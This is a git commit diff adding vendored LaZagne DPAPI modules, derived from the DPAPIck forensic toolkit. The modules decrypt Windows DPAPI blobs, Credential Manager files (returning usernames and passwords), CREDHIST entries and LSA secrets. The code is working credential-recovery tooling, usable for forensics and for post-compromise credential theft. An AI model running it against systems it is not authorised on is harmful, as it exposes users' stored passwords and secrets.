diff options
| author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
|---|---|---|
| committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
| commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
| tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/config | |
Diffstat (limited to 'foreign/client_handling/lazagne/config')
45 files changed, 8230 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/config/DPAPI/__init__.py b/foreign/client_handling/lazagne/config/DPAPI/__init__.py new file mode 100644 index 0000000..8d1c8b6 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/__init__.py @@ -0,0 +1 @@ + diff --git a/foreign/client_handling/lazagne/config/DPAPI/blob.py b/foreign/client_handling/lazagne/config/DPAPI/blob.py new file mode 100644 index 0000000..6b76bc4 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/blob.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" +import codecs +import traceback + +from .eater import DataStruct +from . import crypto + +from foreign.client_handling.lazagne.config.write_output import print_debug +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from foreign.client_handling.lazagne.config.crypto.pyDes import CBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int + +AES_BLOCK_SIZE = 16 + + +class DPAPIBlob(DataStruct): + """Represents a DPAPI blob""" + + def __init__(self, raw=None): + """ + Constructs a DPAPIBlob. If raw is set, automatically calls parse(). + """ + self.version = None + self.provider = None + self.mkguid = None + self.mkversion = None + self.flags = None + self.description = None + self.cipherAlgo = None + self.keyLen = 0 + self.hmac = None + self.strong = None + self.hashAlgo = None + self.hashLen = 0 + self.cipherText = None + self.salt = None + self.blob = None + self.sign = None + self.cleartext = None + self.decrypted = False + self.signComputed = None + DataStruct.__init__(self, raw) + + def parse(self, data): + """Parses the given data. May raise exceptions if incorrect data are + given. You should not call this function yourself; DataStruct does + + data is a DataStruct object. + Returns nothing. + + """ + self.version = data.eat("L") + self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") + + # For HMAC computation + blobStart = data.ofs + + self.mkversion = data.eat("L") + self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") + self.flags = data.eat("L") + self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.keyLen = data.eat("L") + self.salt = data.eat_length_and_string("L") + self.strong = data.eat_length_and_string("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.hashLen = data.eat("L") + self.hmac = data.eat_length_and_string("L") + self.cipherText = data.eat_length_and_string("L") + + # For HMAC computation + self.blob = data.raw[blobStart:data.ofs] + self.sign = data.eat_length_and_string("L") + + def decrypt(self, masterkey, entropy=None, strongPassword=None): + """Try to decrypt the blob. Returns True/False + :rtype : bool + :param masterkey: decrypted masterkey value + :param entropy: optional entropy for decrypting the blob + :param strongPassword: optional password for decrypting the blob + """ + for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]: + try: + sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword) + key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo) + + if "AES" in self.cipherAlgo.name: + cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)], + iv="\x00" * int(self.cipherAlgo.ivLength)) + self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in + range(0, len(self.cipherText), AES_BLOCK_SIZE)]) + else: + cipher = self.cipherAlgo.module(key, CBC, "\x00" * self.cipherAlgo.ivLength) + self.cleartext = cipher.decrypt(self.cipherText) + + padding = char_to_int(self.cleartext[-1]) + if padding <= self.cipherAlgo.blockSize: + self.cleartext = self.cleartext[:-padding] + + # check against provided HMAC + self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob) + self.decrypted = self.signComputed == self.sign + + if self.decrypted: + return True + except Exception: + print_debug('DEBUG', traceback.format_exc()) + + self.decrypted = False + return self.decrypted + + def decrypt_encrypted_blob(self, mkp, entropy_hex=False): + """ + This function should be called to decrypt a dpapi blob. + It will find the associcated masterkey used to decrypt the blob. + :param mkp: masterkey pool object (MasterKeyPool) + """ + mks = mkp.get_master_keys(self.mkguid) + if not mks: + return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid) + + entropy = None + if entropy_hex: + entropy = codecs.decode(entropy_hex, 'hex') + + for mk in mks: + if mk.decrypted: + self.decrypt(mk.get_key(), entropy=entropy) + if self.decrypted: + return True, self.cleartext + + return False, 'Unable to decrypt master key' diff --git a/foreign/client_handling/lazagne/config/DPAPI/credfile.py b/foreign/client_handling/lazagne/config/DPAPI/credfile.py new file mode 100644 index 0000000..98bda22 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/credfile.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from .blob import DPAPIBlob +from .eater import DataStruct + + +class CredentialDecryptedHeader(DataStruct): + """ + Header of the structure returned once the blob has been decrypted + Header of the CredentialDecrypted class + """ + def __init__(self, raw=None): + self.total_size = None + self.unknown1 = None + self.unknown2 = None + self.unknown3 = None + self.last_update = None + self.unknown4 = None + self.unk_type = None + self.unk_blocks = None + self.unknown5 = None + self.unknown6 = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.total_size = data.eat("L") + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.unknown3 = data.eat("L") + self.last_update = data.eat("Q") + self.unknown4 = data.eat("L") + self.unk_type = data.eat("L") + self.unk_blocks = data.eat("L") + self.unknown5 = data.eat("L") + self.unknown6 = data.eat("L") + + +class CredentialDecrypted(DataStruct): + """ + Structure returned once the blob has been decrypted + """ + def __init__(self, raw=None): + self.header_size = None + self.header = None + self.domain = None + self.unk_string1 = None + self.unk_string2 = None + self.unk_string3 = None + self.username = None + self.password = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.header_size = data.eat("L") + if self.header_size > 0: + self.header = CredentialDecryptedHeader() + self.header.parse(data.eat_sub(self.header_size - 4)) + self.domain = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string1 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string2 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unk_string3 = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.username = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.password = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + + +class CredFile(DataStruct): + """ + Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\... + """ + def __init__(self, raw=None): + self.unknown1 = None + self.blob_size = None + self.unknown2 = None + self.blob = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.unknown1 = data.eat("L") + self.blob_size = data.eat("L") + self.unknown2 = data.eat("L") + if self.blob_size > 0: + self.blob = DPAPIBlob() + self.blob.parse(data.eat_sub(self.blob_size)) + + def decrypt(self, mkp, credfile): + ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp) + if ok: + cred_dec = CredentialDecrypted(msg) + if cred_dec.header.unk_type == 3: + return True, { + 'File': credfile, + 'Domain': cred_dec.domain, + 'Username': cred_dec.username, + 'Password': cred_dec.password, + } + elif cred_dec.header.unk_type == 2: + return False, 'System credential type' + else: + return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec) + else: + return ok, msg diff --git a/foreign/client_handling/lazagne/config/DPAPI/credhist.py b/foreign/client_handling/lazagne/config/DPAPI/credhist.py new file mode 100644 index 0000000..2a1d8d7 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/credhist.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +import struct +import hashlib + +from . import crypto +from .eater import DataStruct + + +class RPC_SID(DataStruct): + """ + Represents a RPC_SID structure. See MSDN for documentation + """ + def __init__(self, raw=None): + self.version = None + self.idAuth = None + self.subAuth = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("B") + n = data.eat("B") + self.idAuth = struct.unpack(">Q", "\0\0" + data.eat("6s"))[0] + self.subAuth = data.eat("%dL" % n) + + def __str__(self): + s = ["S-%d-%d" % (self.version, self.idAuth)] + s += ["%d" % x for x in self.subAuth] + return "-".join(s) + + +class CredhistEntry(DataStruct): + + def __init__(self, raw=None): + self.pwdhash = None + self.hmac = None + self.revision = None + self.hashAlgo = None + self.rounds = None + self.cipherAlgo = None + self.shaHashLen = None + self.ntHashLen = None + self.iv = None + self.userSID = None + self.encrypted = None + self.revision2 = None + self.guid = None + self.ntlm = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.revision = data.eat("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.rounds = data.eat("L") + data.eat("L") + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.shaHashLen = data.eat("L") + self.ntHashLen = data.eat("L") + self.iv = data.eat("16s") + + self.userSID = RPC_SID() + self.userSID.parse(data) + + n = self.shaHashLen + self.ntHashLen + n += -n % self.cipherAlgo.blockSize + self.encrypted = data.eat_string(n) + + self.revision2 = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + def decrypt_with_hash(self, pwdhash): + """ + Decrypts this credhist entry with the given user's password hash. + Simply computes the encryption key with the given hash + then calls self.decrypt_with_key() to finish the decryption. + """ + self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID))) + + def decrypt_with_key(self, enckey): + """ + Decrypts this credhist entry using the given encryption key. + """ + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey, + self.iv, self.rounds) + self.pwdhash = cleartxt[:self.shaHashLen] + self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip("\x00") + if len(self.ntlm) != 16: + self.ntlm = None + + +class CredHistFile(DataStruct): + + def __init__(self, raw=None): + self.entries_list = [] + self.entries = {} + self.valid = False + self.footmagic = None + self.curr_guid = None + DataStruct.__init__(self, raw) + + def parse(self, data): + while True: + l = data.pop("L") + if l == 0: + break + self.addEntry(data.pop_string(l - 4)) + + self.footmagic = data.eat("L") + self.curr_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + def addEntry(self, blob): + """ + Creates a CredhistEntry object with blob then adds it to the store + """ + x = CredhistEntry(blob) + self.entries[x.guid] = x + self.entries_list.append(x) + + def decrypt_with_hash(self, pwdhash): + """ + Try to decrypt each entry with the given hash + """ + + if self.valid: + return + + for entry in self.entries_list: + entry.decrypt_with_hash(pwdhash) + + def decrypt_with_password(self, password): + """ + Decrypts this credhist entry with the given user's password. + Simply computes the password hash then calls self.decrypt_with_hash() + """ + self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest()) diff --git a/foreign/client_handling/lazagne/config/DPAPI/crypto.py b/foreign/client_handling/lazagne/config/DPAPI/crypto.py new file mode 100644 index 0000000..121a921 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/crypto.py @@ -0,0 +1,366 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################# +# ## +# This file is part of DPAPIck ## +# Windows DPAPI decryption & forensic toolkit ## +# ## +# ## +# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +# This document is the property of Cassidian SAS, it may not be copied or ## +# circulated without prior licence ## +# ## +# Author: Jean-Michel Picod <jmichel.p@gmail.com> ## +# ## +# This program is distributed under GPLv3 licence (see LICENCE.txt) ## +# ## +############################################################################# + +import array +import hashlib +import hmac +import struct +import sys + +from foreign.client_handling.lazagne.config.crypto.rc4 import RC4 +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB +from foreign.client_handling.lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte + + +try: + xrange +except NameError: + xrange = range + +AES_BLOCK_SIZE = 16 + + +class CryptoAlgo(object): + """ + This class is used to wrap Microsoft algorithm IDs with M2Crypto + """ + + class Algo(object): + def __init__(self, data): + self.data = data + + def __getattr__(self, attr): + if attr in self.data: + return self.data[attr] + raise AttributeError(attr) + + _crypto_data = {} + + @classmethod + def add_algo(cls, algnum, **kargs): + cls._crypto_data[algnum] = cls.Algo(kargs) + if 'name' in kargs: + kargs['ID'] = algnum + cls._crypto_data[kargs['name']] = cls.Algo(kargs) + + @classmethod + def get_algo(cls, algnum): + return cls._crypto_data[algnum] + + def __init__(self, i): + self.algnum = i + self.algo = CryptoAlgo.get_algo(i) + + name = property(lambda self: self.algo.name) + module = property(lambda self: self.algo.module) + keyLength = property(lambda self: self.algo.keyLength / 8) + ivLength = property(lambda self: self.algo.IVLength / 8) + blockSize = property(lambda self: self.algo.blockLength / 8) + digestLength = property(lambda self: self.algo.digestLength / 8) + + def do_fixup_key(self, key): + try: + return self.algo.keyFixup.__call__(key) + except AttributeError: + return key + + def __repr__(self): + return "%s [%#x]" % (self.algo.name, self.algnum) + + +def des_set_odd_parity(key): + _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, + 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, + 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, + 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, + 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, + 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, + 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, + 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, + 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, + 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, + 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, + 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, + 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, + 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, + 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, + 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, + 247, 248, 248, 251, 251, 253, 253, 254, 254] + tmp = array.array("B") + tmp.fromstring(key) + for i, v in enumerate(tmp): + tmp[i] = _lut[v] + return tmp.tostring() + + +CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des, + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des, + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) +CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512) +CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024) +CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024) + + +def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): + """ + Computes the decryption key for XP DPAPI blob, given the masterkey and optional information. + + This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC. + Instead of updating the inner pad, we update the outer pad... + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself + :param verifBlob: optional encrypted blob used for integrity check + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + masterkey += b"\x00" * int(hashAlgo.blockSize) + ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) + opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) + digest = hashlib.new(hashAlgo.name) + digest.update(ipad) + digest.update(nonce) + tmp = digest.digest() + digest = hashlib.new(hashAlgo.name) + digest.update(opad) + digest.update(tmp) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() + digest.update(strongPassword) + elif verifBlob is not None: + digest.update(verifBlob) + return digest.digest() + + +def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): + """ + Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information. + + This implementation relies on an RFC compliant HMAC implementation + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself + :param verifBlob: optional encrypted blob used for integrity check + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name)) + digest.update(nonce) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() + digest.update(strongPassword) + elif verifBlob is not None: + digest.update(verifBlob) + return digest.digest() + + +def CryptDeriveKey(h, cipherAlgo, hashAlgo): + """ + Internal use. Mimics the corresponding native Microsoft function + """ + if len(h) > hashAlgo.blockSize: + h = hashlib.new(hashAlgo.name, h).digest() + if len(h) >= cipherAlgo.keyLength: + return h + h += b"\x00" * int(hashAlgo.blockSize) + ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) + opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) + k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest() + k = k[:cipherAlgo.keyLength] + k = cipherAlgo.do_fixup_key(k) + return k + + +def decrypt_lsa_key_nt5(lsakey, syskey): + """ + This function decrypts the LSA key using the syskey + """ + dg = hashlib.md5() + dg.update(syskey) + for i in xrange(1000): + dg.update(lsakey[60:76]) + arcfour = RC4(dg.digest()) + deskey = arcfour.encrypt(lsakey[12:60]) + return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)] + + +def decrypt_lsa_key_nt6(lsakey, syskey): + """ + This function decrypts the LSA keys using the syskey + """ + dg = hashlib.sha256() + dg.update(syskey) + for i in range(1000): + dg.update(lsakey[28:60]) + + k = AESModeOfOperationECB(dg.digest()) + keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)]) + + size = struct.unpack_from("<L", keys)[0] + keys = keys[16:16 + size] + currentkey = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[4:20]) + nb = struct.unpack("<L", keys[24:28])[0] + off = 28 + kd = {} + for i in range(nb): + g = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[off:off + 16]) + t, l = struct.unpack_from("<2L", keys[off + 16:]) + k = keys[off + 24:off + 24 + l] + kd[g] = {"type": t, "key": k} + off += 24 + l + return (currentkey, kd) + + +def SystemFunction005(secret, key): + """ + This function is used to decrypt LSA secrets. + Reproduces the corresponding Windows internal function. + Taken from creddump project https://code.google.com/p/creddump/ + """ + decrypted_data = '' + j = 0 + algo = CryptoAlgo(0x6603) + for i in range(0, len(secret), 8): + enc_block = secret[i:i + 8] + block_key = key[j:j + 7] + des_key = [] + des_key.append(char_to_int(block_key[0]) >> 1) + des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2)) + des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3)) + des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4)) + des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5)) + des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6)) + des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7)) + des_key.append(char_to_int(block_key[6]) & 0x7F) + des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key])) + + decrypted_data += des(des_key, ECB).decrypt(enc_block) + j += 7 + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) + dec_data_len = struct.unpack("<L", decrypted_data[:4])[0] + return decrypted_data[8:8 + dec_data_len] + + +def decrypt_lsa_secret(secret, lsa_keys): + """ + This function replaces SystemFunction005 for newer Windows + """ + keyid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", secret[4:20]) + if keyid not in lsa_keys: + return None + algo = struct.unpack("<L", secret[20:24])[0] + dg = hashlib.sha256() + dg.update(lsa_keys[keyid]["key"]) + for i in xrange(1000): + dg.update(secret[28:60]) + + c = AESModeOfOperationECB(dg.digest()) + clear = b"".join([c.encrypt(secret[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(secret[60:]), AES_BLOCK_SIZE)]) + + size = struct.unpack_from("<L", clear)[0] + return clear[16:16 + size] + + +def pbkdf2(passphrase, salt, keylen, iterations, digest='sha1'): + """ + Implementation of PBKDF2 that allows specifying digest algorithm. + Returns the corresponding expanded key which is keylen long. + """ + buff = b"" + i = 1 + while len(buff) < keylen: + U = salt + struct.pack("!L", i) + i += 1 + derived = hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest() + for r in xrange(iterations - 1): + actual = hmac.new(passphrase, derived, digestmod=lambda: hashlib.new(digest)).digest() + tmp = b'' + for x, y in zip(derived, actual): + if sys.version_info > (3, 0): + tmp += struct.pack(">B", x ^ y) + else: + tmp += chr(char_to_int(x) ^ char_to_int(y)) + derived = tmp + buff += derived + return buff[:int(keylen)] + + +def derivePwdHash(pwdhash, sid, digest='sha1'): + """ + Internal use. Computes the encryption key from a user's password hash + """ + return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest() + + +def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds): + """ + Internal use. Decrypts data stored in DPAPI structures. + """ + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname) + key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):] + key = key[:int(cipherAlgo.keyLength)] + iv = iv[:int(cipherAlgo.ivLength)] + + if "AES" in cipherAlgo.name: + cipher = AESModeOfOperationCBC(key, iv=iv) + cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)]) + else: + cipher = cipherAlgo.module(key, CBC, iv) + cleartxt = cipher.decrypt(raw) + return cleartxt + + +def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value): + """ + Internal function used to compute HMACs of DPAPI structures + """ + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname)) + encKey.update(hmacSalt) + encKey = encKey.digest() + rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname)) + rv.update(value) + return rv.digest() diff --git a/foreign/client_handling/lazagne/config/DPAPI/eater.py b/foreign/client_handling/lazagne/config/DPAPI/eater.py new file mode 100644 index 0000000..cadb13f --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/eater.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################# +## ## +## This file is part of DPAPIck ## +## Windows DPAPI decryption & forensic toolkit ## +## ## +## ## +## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +## This document is the property of Cassidian SAS, it may not be copied or ## +## circulated without prior licence ## +## ## +## Author: Jean-Michel Picod <jmichel.p@gmail.com> ## +## ## +## This program is distributed under GPLv3 licence (see LICENCE.txt) ## +## ## +############################################################################# + +import struct + + +class Eater(object): + """This class is a helper for parsing binary structures.""" + + def __init__(self, raw, offset=0, end=None, endianness="<"): + self.raw = raw + self.ofs = offset + if end is None: + end = len(raw) + self.end = end + self.endianness = endianness + + def prepare_fmt(self, fmt): + """Internal use. Prepend endianness to the given format if it is not + already specified. + + fmt is a format string for struct.unpack() + + Returns a tuple of the format string and the corresponding data size. + + """ + if fmt[0] not in ["<", ">", "!", "@"]: + fmt = self.endianness+fmt + return fmt, struct.calcsize(fmt) + + def read(self, fmt): + """Parses data with the given format string without taking away bytes. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + return v + + def eat(self, fmt): + """Parses data with the given format string. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + self.ofs += sz + return v + + def eat_string(self, length): + """Eats and returns a string of length characters""" + return self.eat("%us" % length) + + def eat_length_and_string(self, fmt): + """Eats and returns a string which length is obtained after eating + an integer represented by fmt + + """ + l = self.eat(fmt) + return self.eat_string(l) + + def pop(self, fmt): + """Eats a structure represented by fmt from the end of raw data""" + fmt, sz = self.prepare_fmt(fmt) + self.end -= sz + v = struct.unpack_from(fmt, self.raw, self.end) + if len(v) == 1: + v = v[0] + return v + + def pop_string(self, length): + """Pops and returns a string of length characters""" + return self.pop("%us" % length) + + def pop_length_and_string(self, fmt): + """Pops and returns a string which length is obtained after poping an + integer represented by fmt. + + """ + l = self.pop(fmt) + return self.pop_string(l) + + def remain(self): + """Returns all the bytes that have not been eated nor poped yet.""" + return self.raw[self.ofs:self.end] + + def eat_sub(self, length): + """Eats a sub-structure that is contained in the next length bytes""" + sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness) + self.ofs += length + return sub + + def __nonzero__(self): + return self.ofs < self.end + + +class DataStruct(object): + """Don't use this class unless you know what you are doing!""" + + def __init__(self, raw=None): + if raw is not None: + self.parse(Eater(raw, endianness="<")) + + def parse(self, eater_obj): + raise NotImplementedError("This function must be implemented in subclasses") + diff --git a/foreign/client_handling/lazagne/config/DPAPI/masterkey.py b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py new file mode 100644 index 0000000..1ee59d0 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py @@ -0,0 +1,445 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from . import crypto +from .credhist import CredHistFile +from .system import CredSystem +from .eater import DataStruct, Eater +from collections import defaultdict + +import codecs +import hashlib +import struct +import os + + +class MasterKey(DataStruct): + """ + This class represents a MasterKey block contained in a MasterKeyFile + """ + + def __init__(self, raw=None): + self.decrypted = False + self.key = None + self.key_hash = None + self.hmacSalt = None + self.hmac = None + self.hmacComputed = None + self.cipherAlgo = None + self.hashAlgo = None + self.rounds = None + self.iv = None + self.version = None + self.ciphertext = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.iv = data.eat("16s") + self.rounds = data.eat("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + 